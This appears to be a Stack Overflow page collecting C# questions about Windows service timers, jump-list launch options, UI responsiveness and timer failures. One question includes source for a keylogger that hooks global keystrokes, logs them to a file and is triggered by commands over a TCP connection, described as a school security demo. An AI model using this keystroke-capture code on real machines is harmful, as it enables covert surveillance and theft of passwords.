I have poked around here to try and find a resolved issue to help me solve my problem. Unfortunately I don't know enough about C# and Forms/Services to be able to interpret many of the answers, so I thought I'd post my issue here, in it's uniqueness, and see if I can get a sufficient answer.
I recently got an internship for a local company, learning C# and SQL to manage their shipping/inventory logistics.
I have gotten pretty good at creating windows forms with VisualStudios2017, and my knowledge of Java helps me pick up C# pretty quickly.
However, recently I was given the task of developing a Windows Service, which will run in the background, and do some repetitive task every minute or so.
Since I am familiar with the "Drag and Drop" techniques of adding features to windows forms, My supervisor suggested I use a Timer in my service, so, that's what I did, I did a "Drag and Drop" to add the timer component to my service, and renamed it "timerMainTick"
Here is My code. I want to start simple, all this code does is move to some local directory (henceforth referred to as $DIR), create a folder $DIR/GabbServiceDir, and make a text file $DIR/GabbServiceDir/AnotherTest.txt". However, every time the timer ticks, it is supposed to create (if it does not already exist) a new text document "$DIR/GabbServiceDir/Test.txt" and append the date-time to it every 2.5 seconds. This does not happen.
namespace GabbService
{
public partial class GabbService : ServiceBase
{
public string dir = "../../Users/Tyler/GabbServiceDir";
public GabbService()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
Directory.CreateDirectory(dir);
timerMainTick.Interval = 2500; //miliseconds = 2.5seconds
File.AppendAllText(dir + "/AnotherTest.txt","asdiofbhjasdflikjbasdf\r\n");
timerMainTick.Enabled = true;
timerMainTick.Start();
}
protected override void OnStop()
{
}
private void timerMainTick_Tick(object sender, EventArgs e)
{
timerMainTick.Enabled = false;
File.AppendAllText(dir + "/Test.txt", DateTime.Now.ToString() + "\r\n");
timerMainTick.Enabled = true;
}
}
}
And a picture of the directory and it's contents after the service was started.
This is in Powershell, in $DIR/GabbServiceDir
PS C:\Users\Tyler\GabbServiceDir> ls
Directory: C:\Users\Tyler\GabbServiceDir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2017 9:54 PM 72 AnotherTest.txt
PS C:\Users\Tyler\GabbServiceDir> cat .\AnotherTest.txt
asdiofbhjasdflikjbasdf
timerMainTick is Windows.Forms.Timer, and many of the solutions provided indicate to use a different kind of timer, the System.Timers.Timer.
This is all well and good, and may fix my problem, but the issue comes when trying to do something when this new type of timer ticks. When I double click the Windows.Forms.Timer in the Service Designer, it automagically writes a bunch of source, and gives me a method to begin writing code in, that magically executes when the timer ticks. I am not yet familliar with all of the magic that is going on in the backround, because I've only begun to learn C# as of the day I got this internship. I don't know what to name the methods for custom objects so that the "backround magic" will work, thus I am unable to interperate some of the solutions provided for problems similar to mine.
Perhaps someone could enlighten me.
For instance. Say I go into the Designer Source Code, and add a component
private System.Timer.Timer timerSystemTimer;
Then, in the Service source code and alter the method that was previously
private void timerMainTick_Tick(object sender, EventArgs e)
To
private void timerSystemTimer_Tick(object sender, EventArgs e)
I get an error immediately:
The more reading I do the more I see lots of event handlers being passed around and I have yet to comprehend what they do. Perhaps what I need is a link to some good literature. I am capable of looking for this on my own but I imagine many people here may have links to other bits of good literature more specific to what I want to comprehend here.
*Something I have found so far that may be useful to people in my situation:
https://msdn.microsoft.com/en-us/library/aa288459(v=vs.71).aspx
Error in VS - You added timerSystemTimer but did not remove timerMainTick component which still references timerMainTick_Tick as handler of it's Tick event. Compiler does not find this handler method anymore since you changed it to timerSystemTimer_Tick.
Adding different timer - Never modify designer file code. You could add a System.Timers.Timer instance to your class code, instantiate it in OnStart and provide handler for Elapsed event. Here's a sample for you.
Related
My question is: How do I add a windows context menu item for a specific application, not globally?
Quick Brief:
We use Access (groan) for our CRM system. We use a basic 'copy to local' process for multi-access. I have written a C# 'launcher' of which handles this much better than a .bat file (they click the launcher, the launcher downloads the db, launches the db and quits). I also currently use a C# console application to handle development, automating stuff like incrementing version number, moving files around etc.
My Question/Goal:
I want to combine the two programs into one but I don't want to hinder the launcher from it's main purpose by jarring the user asking if they want to develop or not. I use this launcher too as I am primarily an estimator, hence wanting to combine the two. I have read that you can add context menu items to Windows as a whole, but I want to be able to add a launch option into the context menu just for this application. i.e. right click on program, normal menu options but with the addition of "Development Mode", this opens the program with arguments that I can use to open the development window/console instead.
Things to note:
I have played around with holding a key on start but it can be vague when to press the key. Too early - you will end up typing "r" several times into the active window, too late - and it will miss the capture point.
I have also looked at having a button on the launcher that gives you the option to go into dev mode, but the launcher is only open for around a second so its really easy to miss.
Thanks in advance
EDIT: The launcher is made and run as a click-once app.
I dont really know about whether its possible to have a custom context for a specific program, as far as i know the context works with the extension. That being said, i think there are better ways to handle your problem. Have a look at this
static void Main(string[] args)
{
/* here normal flow of the launcher*/
if (args[0] == "-dev")
{
/*here de developer mode*/
Console.WriteLine("Developer mode activated");
}
}
The way to use it is simple, you make a shorcut, and where it says the shorcut target you will have something like this "C:\Users****\Documents\visual studio 2017\Projects\Test\Test\bin\Debug\Test.exe" and you should change it to something like this "C:\Users****\Documents\visual studio 2017\Projects\Test\Test\bin\Debug\Test.exe" -dev
Further to this I stumbled upon some code to make this work. Hopefully this will help someone in the future. I am doing this in WPF, but I am sure you could probably adapt this code to work elsewhere.
1) App.xaml - Adding the JumpList action
After (not inside) the Application.Resources property add the following and change to your liking (There are a lot of properties I haven't used for development sake, check out the link to learn more):
<Application.Resources>
...
</Application.Resources>
<JumpList.JumpList>
<JumpList ShowRecentCategory="False"
ShowFrequentCategory="False">
<JumpTask Title="Open Dev Mode"
Description="Use this to enter dev mode (admins only)"
Arguments="DevMode:true"/>
</JumpList>
</JumpList.JumpList>
This will create a "Task" in the jump list:
2) Create Global static class - this will allow you to store the variable for later use in other forms.
public static class Global
{
public static Boolean DevMode = false;
}
3) App.xaml.cs - Adding OnStartup handler
Inside the App class create an override method for OnStartup
public partial class App : Application
{
protected override void OnStartup(StartupEventArgs e)
{
Global.DevMode = Boolean.Parse(e.Args.FirstOrDefault().ToString().Split(':')[1]);
}
}
4) Read the variable in your form using Global.DevMode
private void Window_ContentRendered(object sender, EventArgs e)
{
if (Global.DevMode) RunYourDevScript();
}
As per a suggestion in a comment, that has gone for some reason. I am going to revert to keypress but use shift instead or "R".
Failing this, or if it causes problems it will look at creating a global context menu item for all programs, and just won't click it when I don't need to
I'm new to this type of programming (management figures programming is programming... ugh), apologies in advance if my question seems convoluted or basic.
I'm creating a Windows Form App in Visual Studio 2015. I have it communicating and sharing with our SQL Server perfectly for every function but one. I'd like to place a "live" counter on the form, that updates a value every 3(or something) seconds. The counter's job would be to keep track of inventory being shipped out of our warehouse (just need to worry about getting that info from our SQL Server, which already has the capabilities, nothing before that) and display that information. Doesn't have to fancy, just accurate.
I've tried searching for answers for a while, but I'm not sure I'm using the right terms or maybe I've overlooked what I should be using for this process. I'm not looking for a complete solution, just a link to a site or some terminology help that describes what I need would be truly appreciated.
Thanks in advance everyone.
Try following to run code every interval millisecond.
public static void InitializeTimer()
{
var inerval = 3000;
var timer = new System.Timers.Timer();
timer.Elapsed += keep_track_of_inventory_being_shipped;
timer.Interval = inerval;
timer.Start();
}
private static void keep_track_of_inventory_being_shipped(object sender, System.Timers.ElapsedEventArgs e)
{
//your code here
}
I have spent the past few days working on bot for an MMO. It runs in one big loop, with 1-2 other smaller loops inside. So far its going great. When its running it is set to update a richtextbox with what it is currently doing, just so I can easily troubleshoot later.
My problem is while its active and looping it does not auto update the textbox until it has finished everything it is doing. Which is hard when its set in an infinite loop. I would like to be able to run the bot with the main program window on the other monitor giving me updates as it goes along.
The whole program seems to freeze up and I cant interact with it at all while running. This also causes problems when I want it to stop. The only way I have of stopping it at the minute is to click Stop in visual studio.
I have tried searching around, but I have no idea what to search for. I hope I explained it well enough.
Thanks in advance.
This would be a nice read :
http://www.beingdeveloper.com/use-dispatcher-in-wpf-to-build-responsive-applications/
To summaries
You can send in a delegate fx, which is responsible for a formatter or writter. In you implemetation it would be the one which does AppendText. and make sure the Richtextbox.AppendText is within Dispatcher.Invoke()
Code Sample
class BotRand
{
//Write Event is delegate
public execute(WriteEvent writeFx)
{
//Crawl
writeFx("message");
}
}
class MainWindow : Window
{
void WriteFunc(object message, EventArgs outline)
{
Dispatcher.Invoke(new Action(() => richText.AppendText(message));
}
}
This should help you start your search more effectively.
Thanks,
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.
I have a windows service written in c#. It has a timer inside, which fires some functions on a regular basis. So the skeleton of my service:
public partial class ArchiveService : ServiceBase
{
Timer tickTack;
int interval = 10;
...
protected override void OnStart(string[] args)
{
tickTack = new Timer(1000 * interval);
tickTack.Elapsed += new ElapsedEventHandler(tickTack_Elapsed);
tickTack.Start();
}
protected override void OnStop()
{
tickTack.Stop();
}
private void tickTack_Elapsed(object sender, ElapsedEventArgs e)
{
...
}
}
It works for some time (like 10-15 days) then it stops. I mean the service shows as running, but it does not do anything. I make some logging and the problem can be the timer, because after the interval it does not call the tickTack_Elapsed function.
I was thinking about rewrite it without a timer, using an endless loop, which stops the processing for the amount of time I set up. This is also not an elegant solution and I think it can have some side effects regarding memory.
The Timer is used from the System.Timers namespace, the environment is Windows 2003. I used this approach in two different services on different servers, but both is producing this behavior (this is why I thought that it is somehow connected to my code or the framework itself).
Does somebody experienced this behavior? What can be wrong?
Edit:
I edited both services. One got a nice try-catch everywhere and more logging. The second got a timer-recreation on a regular basis. None of them stopped since them, so if this situation remains for another week, I will close this question. Thank you for everyone so far.
Edit:
I close this question because nothing happened. I mean I made some changes, but those changes are not really relevant in this matter and both services are running without any problem since then. Please mark it as "Closed for not relevant anymore".
unhandled exceptions in timers are swallowed, and they silently kill the timer
wrap the body of your timer code in a try-catch block
I have seen this before with both timer, and looped services. Usually the case is that an exception is caught that stops the timer or looping thread, but does not restart it as part of the exception recovery.
To your other points...
I dont think that there is anything "elegant" about the timer. For me its more straight forward to see a looping operation in code than timer methods. But Elegance is subjective.
Memory issue? Not if you write it properly. Maybe a processor burden if your Thread.Sleep() isn't set right.
http://support.microsoft.com/kb/842793
This is a known bug that has resurfaced in the Framework more than once.
The best known work-around: don't use timers. I've rendered this bug ineffective by doing a silly "while (true)" loop.
Your mileage may vary, so verify with your combination of OS/Framework bits.
Like many respondents have pointed out exceptions are swallowed by timer. In my windows services I use System.Threading.Timer. It has Change(...) method which allows you to start/stop that timer. Possible place for exception could be reentrancy problem - in case when tickTack_Elapsed executes longer than timer period. Usually I write timer loop like this:
void TimeLoop(object arg)
{
stopTimer();
//Do some stuff
startTimer();
}
You could also lock(...) your main loop to protect against reentrancy.
Interesting issue. If it is truly just time related (i.e. not an exception), then I wonder if you can simply periodically recycle the timer - i.e.
private void tickTack_Elapsed(object sender, ElapsedEventArgs e)
{
CheckForRecycle();
// ... actual code
}
private void CheckForRecycle()
{
lock(someLock) {
if(++tickCount > MAX_TICKS) {
tickCount = 0;
tickTack.Stop();
// re-create timer
tickTack = new Timer(...);
tickTack.Elapsed += ...
tickTack.Start();
}
}
}
You could probably merge chunks of this with the OnStart / OnStop etc to reduce duplication.
Have you checked the error logs? Maybe you run out of timers somehow. Maybe you can create just one timer when you initialize the ArchiveService and skip the OnStart stuff.
I have made exactly the same as you in a few projects but have not had the problem.
Do you have code in the tickTac_Elapsed that can be causing this? Like a loop that never ends or some error that stops the timer, using threads and waiting for ending of those and so on?